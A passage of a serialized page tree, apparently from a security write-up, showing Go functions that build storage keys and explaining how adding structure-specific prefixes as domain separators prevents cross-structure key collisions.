87798,87802,87806,87810,87814,87818],{"type":26,"tag":217,"props":87791,"children":87792},{"style":7054},[87793],{"type":32,"value":87351},{"type":26,"tag":217,"props":87795,"children":87796},{"style":7048},[87797],{"type":32,"value":180},{"type":26,"tag":217,"props":87799,"children":87800},{"style":7064},[87801],{"type":32,"value":86482},{"type":26,"tag":217,"props":87803,"children":87804},{"style":7048},[87805],{"type":32,"value":1851},{"type":26,"tag":217,"props":87807,"children":87808},{"style":7064},[87809],{"type":32,"value":15325},{"type":26,"tag":217,"props":87811,"children":87812},{"style":7048},[87813],{"type":32,"value":1851},{"type":26,"tag":217,"props":87815,"children":87816},{"style":7054},[87817],{"type":32,"value":86352},{"type":26,"tag":217,"props":87819,"children":87820},{"style":7048},[87821],{"type":32,"value":86503},{"type":26,"tag":217,"props":87823,"children":87824},{"class":7028,"line":8448},[87825],{"type":26,"tag":217,"props":87826,"children":87827},{"style":7048},[87828],{"type":32,"value":61246},{"type":26,"tag":217,"props":87830,"children":87831},{"class":7028,"line":8456},[87832,87836,87840,87844,87848,87852,87856,87860],{"type":26,"tag":217,"props":87833,"children":87834},{"style":7054},[87835],{"type":32,"value":86473},{"type":26,"tag":217,"props":87837,"children":87838},{"style":7048},[87839],{"type":32,"value":180},{"type":26,"tag":217,"props":87841,"children":87842},{"style":7064},[87843],{"type":32,"value":86527},{"type":26,"tag":217,"props":87845,"children":87846},{"style":7048},[87847],{"type":32,"value":1851},{"type":26,"tag":217,"props":87849,"children":87850},{"style":7054},[87851],{"type":32,"value":86436},{"type":26,"tag":217,"props":87853,"children":87854},{"style":7048},[87855],{"type":32,"value":7599},{"type":26,"tag":217,"props":87857,"children":87858},{"style":7054},[87859],{"type":32,"value":86352},{"type":26,"tag":217,"props":87861,"children":87862},{"style":7048},[87863],{"type":32,"value":10025},{"type":26,"tag":217,"props":87865,"children":87866},{"class":7028,"line":8500},[87867],{"type":26,"tag":217,"props":87868,"children":87869},{"emptyLinePlaceholder":17},[87870],{"type":32,"value":7817},{"type":26,"tag":217,"props":87872,"children":87873},{"class":7028,"line":8535},[87874,87879,87883,87887],{"type":26,"tag":217,"props":87875,"children":87876},{"style":7054},[87877],{"type":32,"value":87878},"    addressNameEncoded",{"type":26,"tag":217,"props":87880,"children":87881},{"style":7149},[87882],{"type":32,"value":77267},{"type":26,"tag":217,"props":87884,"children":87885},{"style":7064},[87886],{"type":32,"value":86445},{"type":26,"tag":217,"props":87888,"children":87889},{"style":7048},[87890],{"type":32,"value":10932},{"type":26,"tag":217,"props":87892,"children":87893},{"class":7028,"line":8664},[87894,87898,87902],{"type":26,"tag":217,"props":87895,"children":87896},{"style":7048},[87897],{"type":32,"value":87335},{"type":26,"tag":217,"props":87899,"children":87900},{"style":7119},[87901],{"type":32,"value":85645},{"type":26,"tag":217,"props":87903,"children":87904},{"style":7048},[87905],{"type":32,"value":10953},{"type":26,"tag":217,"props":87907,"children":87908},{"class":7028,"line":8700},[87909,87913,87917,87921,87925,87929,87933,87937],{"type":26,"tag":217,"props":87910,"children":87911},{"style":7054},[87912],{"type":32,"value":87351},{"type":26,"tag":217,"props":87914,"children":87915},{"style":7048},[87916],{"type":32,"value":180},{"type":26,"tag":217,"props":87918,"children":87919},{"style":7064},[87920],{"type":32,"value":86482},{"type":26,"tag":217,"props":87922,"children":87923},{"style":7048},[87924],{"type":32,"value":1851},{"type":26,"tag":217,"props":87926,"children":87927},{"style":7064},[87928],{"type":32,"value":15325},{"type":26,"tag":217,"props":87930,"children":87931},{"style":7048},[87932],{"type":32,"value":1851},{"type":26,"tag":217,"props":87934,"children":87935},{"style":7054},[87936],{"type":32,"value":87721},{"type":26,"tag":217,"props":87938,"children":87939},{"style":7048},[87940],{"type":32,"value":86503},{"type":26,"tag":217,"props":87942,"children":87943},{"class":7028,"line":8708},[87944],{"type":26,"tag":217,"props":87945,"children":87946},{"style":7048},[87947],{"type":32,"value":61246},{"type":26,"tag":217,"props":87949,"children":87950},{"class":7028,"line":8716},[87951,87955,87959,87963,87967,87972,87976,87980],{"type":26,"tag":217,"props":87952,"children":87953},{"style":7054},[87954],{"type":32,"value":86473},{"type":26,"tag":217,"props":87956,"children":87957},{"style":7048},[87958],{"type":32,"value":180},{"type":26,"tag":217,"props":87960,"children":87961},{"style":7064},[87962],{"type":32,"value":86527},{"type":26,"tag":217,"props":87964,"children":87965},{"style":7048},[87966],{"type":32,"value":1851},{"type":26,"tag":217,"props":87968,"children":87969},{"style":7054},[87970],{"type":32,"value":87971},"addressNameEncoded",{"type":26,"tag":217,"props":87973,"children":87974},{"style":7048},[87975],{"type":32,"value":7599},{"type":26,"tag":217,"props":87977,"children":87978},{"style":7054},[87979],{"type":32,"value":87721},{"type":26,"tag":217,"props":87981,"children":87982},{"style":7048},[87983],{"type":32,"value":10025},{"type":26,"tag":217,"props":87985,"children":87986},{"class":7028,"line":8725},[87987],{"type":26,"tag":217,"props":87988,"children":87989},{"emptyLinePlaceholder":17},[87990],{"type":32,"value":7817},{"type":26,"tag":217,"props":87992,"children":87993},{"class":7028,"line":8738},[87994,87998,88002,88006,88010,88014],{"type":26,"tag":217,"props":87995,"children":87996},{"style":7054},[87997],{"type":32,"value":87555},{"type":26,"tag":217,"props":87999,"children":88000},{"style":7149},[88001],{"type":32,"value":77267},{"type":26,"tag":217,"props":88003,"children":88004},{"style":7054},[88005],{"type":32,"value":83114},{"type":26,"tag":217,"props":88007,"children":88008},{"style":7048},[88009],{"type":32,"value":180},{"type":26,"tag":217,"props":88011,"children":88012},{"style":7064},[88013],{"type":32,"value":86104},{"type":26,"tag":217,"props":88015,"children":88016},{"style":7048},[88017],{"type":32,"value":10932},{"type":26,"tag":217,"props":88019,"children":88020},{"class":7028,"line":8755},[88021,88025],{"type":26,"tag":217,"props":88022,"children":88023},{"style":7338},[88024],{"type":32,"value":87583},{"type":26,"tag":217,"props":88026,"children":88027},{"style":7048},[88028],{"type":32,"value":10953},{"type":26,"tag":217,"props":88030,"children":88031},{"class":7028,"line":8771},[88032,88036],{"type":26,"tag":217,"props":88033,"children":88034},{"style":7054},[88035],{"type":32,"value":87595},{"type":26,"tag":217,"props":88037,"children":88038},{"style":7048},[88039],{"type":32,"value":10953},{"type":26,"tag":217,"props":88041,"children":88042},{"class":7028,"line":13956},[88043,88047],{"type":26,"tag":217,"props":88044,"children":88045},{"style":7054},[88046],{"type":32,"value":87607},{"type":26,"tag":217,"props":88048,"children":88049},{"style":7048},[88050],{"type":32,"value":10953},{"type":26,"tag":217,"props":88052,"children":88053},{"class":7028,"line":13964},[88054,88058],{"type":26,"tag":217,"props":88055,"children":88056},{"style":7054},[88057],{"type":32,"value":87619},{"type":26,"tag":217,"props":88059,"children":88060},{"style":7048},[88061],{"type":32,"value":10953},{"type":26,"tag":217,"props":88063,"children":88064},{"class":7028,"line":14021},[88065,88069],{"type":26,"tag":217,"props":88066,"children":88067},{"style":7054},[88068],{"type":32,"value":87607},{"type":26,"tag":217,"props":88070,"children":88071},{"style":7048},[88072],{"type":32,"value":10953},{"type":26,"tag":217,"props":88074,"children":88075},{"class":7028,"line":14034},[88076,88081],{"type":26,"tag":217,"props":88077,"children":88078},{"style":7054},[88079],{"type":32,"value":88080},"        addressNameEncoded",{"type":26,"tag":217,"props":88082,"children":88083},{"style":7048},[88084],{"type":32,"value":10953},{"type":26,"tag":217,"props":88086,"children":88087},{"class":7028,"line":14043},[88088],{"type":26,"tag":217,"props":88089,"children":88090},{"style":7048},[88091],{"type":32,"value":61246},{"type":26,"tag":217,"props":88093,"children":88094},{"class":7028,"line":14051},[88095],{"type":26,"tag":217,"props":88096,"children":88097},{"style":7048},[88098],{"type":32,"value":7184},{"type":26,"tag":39,"props":88100,"children":88101},{},[88102,88104,88109],{"type":32,"value":88103},"Unfortunately, when dealing with more than one storage entry within the same ",{"type":26,"tag":83,"props":88105,"children":88107},{"className":88106},[],[88108],{"type":32,"value":85858},{"type":32,"value":88110},", the previous implementation is not enough to guarantee key uniqueness. While it still effectively prevents key collisions within each individual structure, it does not prevent cross-structure key collisions.",{"type":26,"tag":207,"props":88112,"children":88114},{"code":88113},"vaultId = 1, username = \"a\", positionName = \"b\"\n    => PositionMapKey = \"1|a|b\"\n\nvaultId = 1, username = \"a\", addressName = \"b\"\n    => AddressMapKey = \"1|a||b\"\n",[88115],{"type":26,"tag":83,"props":88116,"children":88117},{"__ignoreMap":8},[88118],{"type":32,"value":88113},{"type":26,"tag":39,"props":88120,"children":88121},{},[88122],{"type":32,"value":88123},"To prevent this, add a structure-specific prefix to the start of each key to act as a domain separator.",{"type":26,"tag":207,"props":88125,"children":88127},{"code":88126,"language":77016,"meta":8,"className":77017,"style":8},"const (\n    Seperator = \"|\"\n    PositionMapPrefix = \"\\x01\"\n    AddressMapPrefix = \"\\x02\"\n)\n\n\nfunc PositionMapKey(\n    vaultId uint64,\n    username, positionName []byte,\n) (key []byte) {\n    usernameEncoded := make(\n        []byte,\n        hex.EncodedLen(len(username)),\n    )\n    hex.Encode(usernameEncoded, username)\n\n    positionNameEncoded := make(\n        []byte,\n        hex.EncodedLen(len(positionName)),\n    )\n    hex.Encode(positionNameEncoded, positionName)\n\n    key := fmt.Sprintf(\n        \"%s%d%s%s%s%s\",\n        PositionMapPrefix,\n        vaultId,\n        Seperator,\n        usernameEncoded,\n        Seperator,\n        positionNameEncoded,\n    )\n}\n\n\nfunc AddressMapKey(\n    vaultId uint64,\n    username, addressName []byte,\n) (key []byte) {\n    usernameEncoded := make(\n        []byte,\n        hex.EncodedLen(len(username)),\n    )\n    hex.Encode(usernameEncoded, username)\n\n    addressNameEncoded := make(\n        []byte,\n        hex.EncodedLen(len(addressName)),\n    )\n    hex.Encode(addressNameEncoded, addressName)\n\n    key := fmt.Sprintf(\n        \"%s%d%s%s%s%s\",\n        AddressMapPrefix,\n        vaultId,\n        Seperator,\n        usernameEncoded,\n        Seperator,\n        addressNameEncoded,\n    )\n}\n",[88128],{"type":26,"tag":83,"props":88129,"children":88130},{"__ignoreMap":8},[88131,88142,88157,88184,88209,88216,88223,88230,88245,88260,88287,88310,88329,88344,88379,88386,88421,88428,88447,88462,88497,88504,88539,88546,88573,88585,88597,88608,88619,88630,88641,88652,88659,88666,88673,88680,88695,88710,88737,88760,88779,88794,88829,88836,88871,88878,88897,88912,88947,88954,88989,88996,89023,89034,89046,89057,89068,89079,89090,89101,89108],{"type":26,"tag":217,"props":88132,"children":88133},{"class":7028,"line":7029},[88134,88138],{"type":26,"tag":217,"props":88135,"children":88136},{"style":7154},[88137],{"type":32,"value":74748},{"type":26,"tag":217,"props":88139,"children":88140},{"style":7048},[88141],{"type":32,"value":67966},{"type":26,"tag":217,"props":88143,"children":88144},{"class":7028,"line":6770},[88145,88149,88153],{"type":26,"tag":217,"props":88146,"children":88147},{"style":7054},[88148],{"type":32,"value":86212},{"type":26,"tag":217,"props":88150,"children":88151},{"style":7149},[88152],{"type":32,"value":8993},{"type":26,"tag":217,"props":88154,"children":88155},{"style":7338},[88156],{"type":32,"value":86221},{"type":26,"tag":217,"props":88158,"children":88159},{"class":7028,"line":6779},[88160,88165,88169,88174,88179],{"type":26,"tag":217,"props":88161,"children":88162},{"style":7054},[88163],{"type":32,"value":88164},"    PositionMapPrefix",{"type":26,"tag":217,"props":88166,"children":88167},{"style":7149},[88168],{"type":32,"value":8993},{"type":26,"tag":217,"props":88170,"children":88171},{"style":7338},[88172],{"type":32,"value":88173}," \"",{"type":26,"tag":217,"props":88175,"children":88176},{"style":8604},[88177],{"type":32,"value":88178},"\\x01",{"type":26,"tag":217,"props":88180,"children":88181},{"style":7338},[88182],{"type":32,"value":88183},"\"\n",{"type":26,"tag":217,"props":88185,"children":88186},{"class":7028,"line":7140},[88187,88192,88196,88200,88205],{"type":26,"tag":217,"props":88188,"children":88189},{"style":7054},[88190],{"type":32,"value":88191},"    AddressMapPrefix",{"type":26,"tag":217,"props":88193,"children":88194},{"style":7149},[88195],{"type":32,"value":8993},{"type":26,"tag":217,"props":88197,"children":88198},{"style":7338},[88199],{"type":32,"value":88173},{"type":26,"tag":217,"props":88201,"children":88202},{"style":8604},[88203],{"type":32,"value":88204},"\\x02",{"type":26,"tag":217,"props":88206,"children":88207},{"style":7338},[88208],{"type":32,"value":88183},{"type":26,"tag":217,"props":88210,"children":88211},{"class":7028,"line":7165},[88212],{"type":26,"tag":217,"props":88213,"children":88214},{"style":7048},[88215],{"type":32,"value":10025},{"type":26,"tag":217,"props":88217,"children":88218},{"class":7028,"line":7178},[88219],{"type":26,"tag":217,"props":88220,"children":88221},{"emptyLinePlaceholder":17},[88222],{"type":32,"value":7817},{"type":26,"tag":217,"props":88224,"children":88225},{"class":7028,"line":7389},[88226],{"type":26,"tag":217,"props":88227,"children":88228},{"emptyLinePlaceholder":17},[88229],{"type":32,"value":7817},{"type":26,"tag":217,"props":88231,"children":88232},{"class":7028,"line":7406},[88233,88237,88241],{"type":26,"tag":217,"props":88234,"children":88235},{"style":7154},[88236],{"type":32,"value":26409},{"type":26,"tag":217,"props":88238,"children":88239},{"style":7064},[88240],{"type":32,"value":87239},{"type":26,"tag":217,"props":88242,"children":88243},{"style":7048},[88244],{"type":32,"value":10932},{"type":26,"tag":217,"props":88246,"children":88247},{"class":7028,"line":7439},[88248,88252,88256],{"type":26,"tag":217,"props":88249,"children":88250},{"style":7054},[88251],{"type":32,"value":86128},{"type":26,"tag":217,"props":88253,"children":88254},{"style":7119},[88255],{"type":32,"value":77272},{"type":26,"tag":217,"props":88257,"children":88258},{"style":7048},[88259],{"type":32,"value":10953},{"type":26,"tag":217,"props":88261,"children":88262},{"class":7028,"line":7487},[88263,88267,88271,88275,88279,88283],{"type":26,"tag":217,"props":88264,"children":88265},{"style":7054},[88266],{"type":32,"value":86140},{"type":26,"tag":217,"props":88268,"children":88269},{"style":7048},[88270],{"type":32,"value":7599},{"type":26,"tag":217,"props":88272,"children":88273},{"style":7054},[88274],{"type":32,"value":86621},{"type":26,"tag":217,"props":88276,"children":88277},{"style":7048},[88278],{"type":32,"value":77080},{"type":26,"tag":217,"props":88280,"children":88281},{"style":7119},[88282],{"type":32,"value":85645},{"type":26,"tag":217,"props":88284,"children":88285},{"style":7048},[88286],{"type":32,"value":10953},{"type":26,"tag":217,"props":88288,"children":88289},{"class":7028,"line":7524},[88290,88294,88298,88302,88306],{"type":26,"tag":217,"props":88291,"children":88292},{"style":7048},[88293],{"type":32,"value":77233},{"type":26,"tag":217,"props":88295,"children":88296},{"style":7054},[88297],{"type":32,"value":78360},{"type":26,"tag":217,"props":88299,"children":88300},{"style":7048},[88301],{"type":32,"value":77080},{"type":26,"tag":217,"props":88303,"children":88304},{"style":7119},[88305],{"type":32,"value":85645},{"type":26,"tag":217,"props":88307,"children":88308},{"style":7048},[88309],{"type":32,"value":7618},{"type":26,"tag":217,"props":88311,"children":88312},{"class":7028,"line":7553},[88313,88317,88321,88325],{"type":26,"tag":217,"props":88314,"children":88315},{"style":7054},[88316],{"type":32,"value":86742},{"type":26,"tag":217,"props":88318,"children":88319},{"style":7149},[88320],{"type":32,"value":77267},{"type":26,"tag":217,"props":88322,"children":88323},{"style":7064},[88324],{"type":32,"value":86445},{"type":26,"tag":217,"props":88326,"children":88327},{"style":7048},[88328],{"type":32,"value":10932},{"type":26,"tag":217,"props":88330,"children":88331},{"class":7028,"line":7570},[88332,88336,88340],{"type":26,"tag":217,"props":88333,"children":88334},{"style":7048},[88335],{"type":32,"value":87335},{"type":26,"tag":217,"props":88337,"children":88338},{"style":7119},[88339],{"type":32,"value":85645},{"type":26,"tag":217,"props":88341,"children":88342},{"style":7048},[88343],{"type":32,"value":10953},{"type":26,"tag":217,"props":88345,"children":88346},{"class":7028,"line":7621},[88347,88351,88355,88359,88363,88367,88371,88375],{"type":26,"tag":217,"props":88348,"children":88349},{"style":7054},[88350],{"type":32,"value":87351},{"type":26,"tag":217,"props":88352,"children":88353},{"style":7048},[88354],{"type":32,"value":180},{"type":26,"tag":217,"props":88356,"children":88357},{"style":7064},[88358],{"type":32,"value":86482},{"type":26,"tag":217,"props":88360,"children":88361},{"style":7048},[88362],{"type":32,"value":1851},{"type":26,"tag":217,"props":88364,"children":88365},{"style":7064},[88366],{"type":32,"value":15325},{"type":26,"tag":217,"props":88368,"children":88369},{"style":7048},[88370],{"type":32,"value":1851},{"type":26,"tag":217,"props":88372,"children":88373},{"style":7054},[88374],{"type":32,"value":86352},{"type":26,"tag":217,"props":88376,"children":88377},{"style":7048},[88378],{"type":32,"value":86503},{"type":26,"tag":217,"props":88380,"children":88381},{"class":7028,"line":7672},[88382],{"type":26,"tag":217,"props":88383,"children":88384},{"style":7048},[88385],{"type":32,"value":61246},{"type":26,"tag":217,"props":88387,"children":88388},{"class":7028,"line":7681},[88389,88393,88397,88401,88405,88409,88413,88417],{"type":26,"tag":217,"props":88390,"children":88391},{"style":7054},[88392],{"type":32,"value":86473},{"type":26,"tag":217,"props":88394,"children":88395},{"style":7048},[88396],{"type":32,"value":180},{"type":26,"tag":217,"props":88398,"children":88399},{"style":7064},[88400],{"type":32,"value":86527},{"type":26,"tag":217,"props":88402,"children":88403},{"style":7048},[88404],{"type":32,"value":1851},{"type":26,"tag":217,"props":88406,"children":88407},{"style":7054},[88408],{"type":32,"value":86436},{"type":26,"tag":217,"props":88410,"children":88411},{"style":7048},[88412],{"type":32,"value":7599},{"type":26,"tag":217,"props":88414,"children":88415},{"style":7054},[88416],{"type":32,"value":86352},{"type":26,"tag":217,"props":88418,"children":88419},{"style":7048},[88420],{"type":32,"value":10025},{"type":26,"tag":217,"props":88422,"children":88423},{"class":7028,"line":7754},[88424],{"type":26,"tag":217,"props":88425,"children":88426},{"emptyLinePlaceholder":17},[88427],{"type":32,"value":7817},{"type":26,"tag":217,"props":88429,"children":88430},{"class":7028,"line":7784},[88431,88435,88439,88443],{"type":26,"tag":217,"props":88432,"children":88433},{"style":7054},[88434],{"type":32,"value":87436},{"type":26,"tag":217,"props":88436,"children":88437},{"style":7149},[88438],{"type":32,"value":77267},{"type":26,"tag":217,"props":88440,"children":88441},{"style":7064},[88442],{"type":32,"value":86445},{"type":26,"tag":217,"props":88444,"children":88445},{"style":7048},[88446],{"type":32,"value":10932},{"type":26,"tag":217,"props":88448,"children":88449},{"class":7028,"line":7802},[88450,88454,88458],{"type":26,"tag":217,"props":88451,"children":88452},{"style":7048},[88453],{"type":32,"value":87335},{"type":26,"tag":217,"props":88455,"children":88456},{"style":7119},[88457],{"type":32,"value":85645},{"type":26,"tag":217,"props":88459,"children":88460},{"style":7048},[88461],{"type":32,"value":10953},{"type":26,"tag":217,"props":88463,"children":88464},{"class":7028,"line":7811},[88465,88469,88473,88477,88481,88485,88489,88493],{"type":26,"tag":217,"props":88466,"children":88467},{"style":7054},[88468],{"type":32,"value":87351},{"type":26,"tag":217,"props":88470,"children":88471},{"style":7048},[88472],{"type":32,"value":180},{"type":26,"tag":217,"props":88474,"children":88475},{"style":7064},[88476],{"type":32,"value":86482},{"type":26,"tag":217,"props":88478,"children":88479},{"style":7048},[88480],{"type":32,"value":1851},{"type":26,"tag":217,"props":88482,"children":88483},{"style":7064},[88484],{"type":32,"value":15325},{"type":26,"tag":217,"props":88486,"children":88487},{"style":7048},[88488],{"type":32,"value":1851},{"type":26,"tag":217,"props":88490,"children":88491},{"style":7054},[88492],{"type":32,"value":86621},{"type":26,"tag":217,"props":88494,"children":88495},{"style":7048},[88496],{"type":32,"value":86503},{"type":26,"tag":217,"props":88498,"children":88499},{"class":7028,"line":7820},[88500],{"type":26,"tag":217,"props":88501,"children":88502},{"style":7048},[88503],{"type":32,"value":61246},{"type":26,"tag":217,"props":88505,"children":88506},{"class":7028,"line":7844},[88507,88511,88515,88519,88523,88527,88531,88535],{"type":26,"tag":217,"props":88508,"children":88509},{"style":7054},[88510],{"type":32,"value":86473},{"type":26,"tag":217,"props":88512,"children":88513},{"style":7048},[88514],{"type":32,"value":180},{"type":26,"tag":217,"props":88516,"children":88517},{"style":7064},[88518],{"type":32,"value":86527},{"type":26,"tag":217,"props":88520,"children":88521},{"style":7048},[88522],{"type":32,"value":1851},{"type":26,"tag":217,"props":88524,"children":88525},{"style":7054},[88526],{"type":32,"value":86562},{"type":26,"tag":217,"props":88528,"children":88529},{"style":7048},[88530],{"type":32,"value":7599},{"type":26,"tag":217,"props":88532,"children":88533},{"style":7054},[88534],{"type":32,"value":86621},{"type":26,"tag":217,"props":88536,"children":88537},{"style":7048},[88538],{"type":32,"value":10025},{"type":26,"tag":217,"props":88540,"children":88541},{"class":7028,"line":7910},[88542],{"type":26,"tag":217,"props":88543,"children":88544},{"emptyLinePlaceholder":17},[88545],{"type":32,"value":7817},{"type":26,"tag":217,"props":88547,"children":88548},{"class":7028,"line":7954},[88549,88553,88557,88561,88565,88569],{"type":26,"tag":217,"props":88550,"children":88551},{"style":7054},[88552],{"type":32,"value":87555},{"type":26,"tag":217,"props":88554,"children":88555},{"style":7149},[88556],{"type":32,"value":77267},{"type":26,"tag":217,"props":88558,"children":88559},{"style":7054},[88560],{"type":32,"value":83114},{"type":26,"tag":217,"props":88562,"children":88563},{"style":7048},[88564],{"type":32,"value":180},{"type":26,"tag":217,"props":88566,"children":88567},{"style":7064},[88568],{"type":32,"value":86104},{"type":26,"tag":217,"props":88570,"children":88571},{"style":7048},[88572],{"type":32,"value":10932},{"type":26,"tag":217,"props":88574,"children":88575},{"class":7028,"line":7985},[88576,88581],{"type":26,"tag":217,"props":88577,"children":88578},{"style":7338},[88579],{"type":32,"value":88580},"        \"%s%d%s%s%s%s\"",{"type":26,"tag":217,"props":88582,"children":88583},{"style":7048},[88584],{"type":32,"value":10953},{"type":26,"tag":217,"props":88586,"children":88587},{"class":7028,"line":8027},[88588,88593],{"type":26,"tag":217,"props":88589,"children":88590},{"style":7054},[88591],{"type":32,"value":88592},"        PositionMapPrefix",{"type":26,"tag":217,"props":88594,"children":88595},{"style":7048},[88596],{"type":32,"value":10953},{"type":26,"tag":217,"props":88598,"children":88599},{"class":7028,"line":8035},[88600,88604],{"type":26,"tag":217,"props":88601,"children":88602},{"style":7054},[88603],{"type":32,"value":87595},{"type":26,"tag":217,"props":88605,"children":88606},{"style":7048},[88607],{"type":32,"value":10953},{"type":26,"tag":217,"props":88609,"children":88610},{"class":7028,"line":8067},[88611,88615],{"type":26,"tag":217,"props":88612,"children":88613},{"style":7054},[88614],{"type":32,"value":87607},{"type":26,"tag":217,"props":88616,"children":88617},{"style":7048},[88618],{"type":32,"value":10953},{"type":26,"tag":217,"props":88620,"children":88621},{"class":7028,"line":8107},[88622,88626],{"type":26,"tag":217,"props":88623,"children":88624},{"style":7054},[88625],{"type":32,"value":87619},{"type":26,"tag":217,"props":88627,"children":88628},{"style":7048},[88629],{"type":32,"value":10953},{"type":26,"tag":217,"props":88631,"children":88632},{"class":7028,"line":8145},[88633,88637],{"type":26,"tag":217,"props":88634,"children":88635},{"style":7054},[88636],{"type":32,"value":87607},{"type":26,"tag":217,"props":88638,"children":88639},{"style":7048},[88640],{"type":32,"value":10953},{"type":26,"tag":217,"props":88642,"children":88643},{"class":7028,"line":8154},[88644,88648],{"type":26,"tag":217,"props":88645,"children":88646},{"style":7054},[88647],{"type":32,"value":87642},{"type":26,"tag":217,"props":88649,"children":88650},{"style":7048},[88651],{"type":32,"value":10953},{"type":26,"tag":217,"props":88653,"children":88654},{"class":7028,"line":8162},[88655],{"type":26,"tag":217,"props":88656,"children":88657},{"style":7048},[88658],{"type":32,"value":61246},{"type":26,"tag":217,"props":88660,"children":88661},{"class":7028,"line":8197},[88662],{"type":26,"tag":217,"props":88663,"children":88664},{"style":7048},[88665],{"type":32,"value":7184},{"type":26,"tag":217,"props":88667,"children":88668},{"class":7028,"line":8220},[88669],{"type":26,"tag":217,"props":88670,"children":88671},{"emptyLinePlaceholder":17},[88672],{"type":32,"value":7817},{"type":26,"tag":217,"props":88674,"children":88675},{"class":7028,"line":8228},[88676],{"type":26,"tag":217,"props":88677,"children":88678},{"emptyLinePlaceholder":17},[88679],{"type":32,"value":7817},{"type":26,"tag":217,"props":88681,"children":88682},{"class":7028,"line":8292},[88683,88687,88691],{"type":26,"tag":217,"props":88684,"children":88685},{"style":7154},[88686],{"type":32,"value":26409},{"type":26,"tag":217,"props":88688,"children":88689},{"style":7064},[88690],{"type":32,"value":87686},{"type":26,"tag":217,"props":88692,"children":88693},{"style":7048},[88694],{"type":32,"value":10932},{"type":26,"tag":217,"props":88696,"children":88697},{"class":7028,"line":8351},[88698,88702,88706],{"type":26,"tag":217,"props":88699,"children":88700},{"style":7054},[88701],{"type":32,"value":86128},{"type":26,"tag":217,"props":88703,"children":88704},{"style":7119},[88705],{"type":32,"value":77272},{"type":26,"tag":217,"props":88707,"children":88708},{"style":7048},[88709],{"type":32,"value":10953},{"type":26,"tag":217,"props":88711,"children":88712},{"class":7028,"line":8391},[88713,88717,88721,88725,88729,88733],{"type":26,"tag":217,"props":88714,"children":88715},{"style":7054},[88716],{"type":32,"value":86140},{"type":26,"tag":217,"props":88718,"children":88719},{"style":7048},[88720],{"type":32,"value":7599},{"type":26,"tag":217,"props":88722,"children":88723},{"style":7054},[88724],{"type":32,"value":87721},{"type":26,"tag":217,"props":88726,"children":88727},{"style":7048},[88728],{"type":32,"value":77080},{"type":26,"tag":217,"props":88730,"children":88731},{"style":7119},[88732],{"type":32,"value":85645},{"type":26,"tag":217,"props":88734,"children":88735},{"style":7048},[88736],{"type":32,"value":10953},{"type":26,"tag":217,"props":88738,"children":88739},{"class":7028,"line":8439},[88740,88744,88748,88752,88756],{"type":26,"tag":217,"props":88741,"children":88742},{"style":7048},[88743],{"type":32,"value":77233},{"type":26,"tag":217,"props":88745,"children":88746},{"style":7054},[88747],{"type":32,"value":78360},{"type":26,"tag":217,"props":88749,"children":88750},{"style":7048},[88751],{"type":32,"value":77080},{"type":26,"tag":217,"props":88753,"children":88754},{"style":7119},[88755],{"type":32,"value":85645},{"type":26,"tag":217,"props":88757,"children":88758},{"style":7048},[88759],{"type":32,"value":7618},{"type":26,"tag":217,"props":88761,"children":88762},{"class":7028,"line":8448},[88763,88767,88771,88775],{"type":26,"tag":217,"props":88764,"children":88765},{"style":7054},[88766],{"type":32,"value":86742},{"type":26,"tag":217,"props":88768,"children":88769},{"style":7149},[88770],{"type":32,"value":77267},{"type":26,"tag":217,"props":88772,"children":88773},{"style":7064},[88774],{"type":32,"value":86445},{"type":26,"tag":217,"props":88776,"children":88777},{"style":7048},[88778],{"type":32,"value":10932},{"type":26,"tag":217,"props":88780,"children":88781},{"class":7028,"line":8456},[88782,88786,88790],{"type":26,"tag":217,"props":88783,"children":88784},{"style":7048},[88785],{"type":32,"value":87335},{"type":26,"tag":217,"props":88787,"children":88788},{"style":7119},[88789],{"type":32,"value":85645},{"type":26,"tag":217,"props":88791,"children":88792},{"style":7048},[88793],{"type":32,"value":10953},{"type":26,"tag":217,"props":88795,"children":88796},{"class":7028,"line":8500},[88797,88801,88805,88809,88813,88817,88821,88825],{"type":26,"tag":217,"props":88798,"children":88799},{"style":7054},[88800],{"type":32,"value":87351},{"type":26,"tag":217,"props":88802,"children":88803},{"style":7048},[88804],{"type":32,"value":180},{"type":26,"tag":217,"props":88806,"children":88807},{"style":7064},[88808],{"type":32,"value":86482},{"type":26,"tag":217,"props":88810,"children":88811},{"style":7048},[88812],{"type":32,"value":1851},{"type":26,"tag":217,"props":88814,"children":88815},{"style":7064},[88816],{"type":32,"value":15325},{"type":26,"tag":217,"props":88818,"children":88819},{"style":7048},[88820],{"type":32,"value":1851},{"type":26,"tag":217,"props":88822,"children":88823},{"style":7054},[88824],{"type":32,"value":86352},{"type":26,"tag":217,"props":88826,"children":88827},{"style":7048},[88828],{"type":32,"value":86503},{"type":26,"tag":217,"props":88830,"children":88831},{"class":7028,"line":8535},[88832],{"type":26,"tag":217,"props":88833,"children":88834},{"style":7048},[88835],{"type":32,"value":61246},{"type":26,"tag":217,"props":88837,"children":88838},{"class":7028,"line":8664},[88839,88843,88847,88851,88855,88859,88863,88867],{"type":26,"tag":217,"props":88840,"children":88841},{"style":7054},[88842],{"type":32,"value":86473},{"type":26,"tag":217,"props":88844,"children":88845},{"style":7048},[88846],{"type":32,"value":180},{"type":26,"tag":217,"props":88848,"children":88849},{"style":7064},[88850],{"type":32,"value":86527},{"type":26,"tag":217,"props":88852,"children":88853},{"style":7048},[88854],{"type":32,"value":1851},{"type":26,"tag":217,"props":88856,"children":88857},{"style":7054},[88858],{"type":32,"value":86436},{"type":26,"tag":217,"props":88860,"children":88861},{"style":7048},[88862],{"type":32,"value":7599},{"type":26,"tag":217,"props":88864,"children":88865},{"style":7054},[88866],{"type":32,"value":86352},{"type":26,"tag":217,"props":88868,"children":88869},{"style":7048},[88870],{"type":32,"value":10025},{"type":26,"tag":217,"props":88872,"children":88873},{"class":7028,"line":8700},[88874],{"type":26,"tag":217,"props":88875,"children":88876},{"emptyLinePlaceholder":17},[88877],{"type":32,"value":7817},{"type":26,"tag":217,"props":88879,"children":88880},{"class":7028,"line":8708},[88881,88885,88889,88893],{"type":26,"tag":217,"props":88882,"children":88883},{"style":7054},[88884],{"type":32,"value":87878},{"type":26,"tag":217,"props":88886,"children":88887},{"style":7149},[88888],{"type":32,"value":77267},{"type":26,"tag":217,"props":88890,"children":88891},{"style":7064},[88892],{"type":32,"value":86445},{"type":26,"tag":217,"props":88894,"children":88895},{"style":7048},[88896],{"type":32,"value":10932},{"type":26,"tag":217,"props":88898,"children":88899},{"class":7028,"line":8716},[88900,88904,88908],{"type":26,"tag":217,"props":88901,"children":88902},{"style":7048},[88903],{"type":32,"value":87335},{"type":26,"tag":217,"props":88905,"children":88906},{"style":7119},[88907],{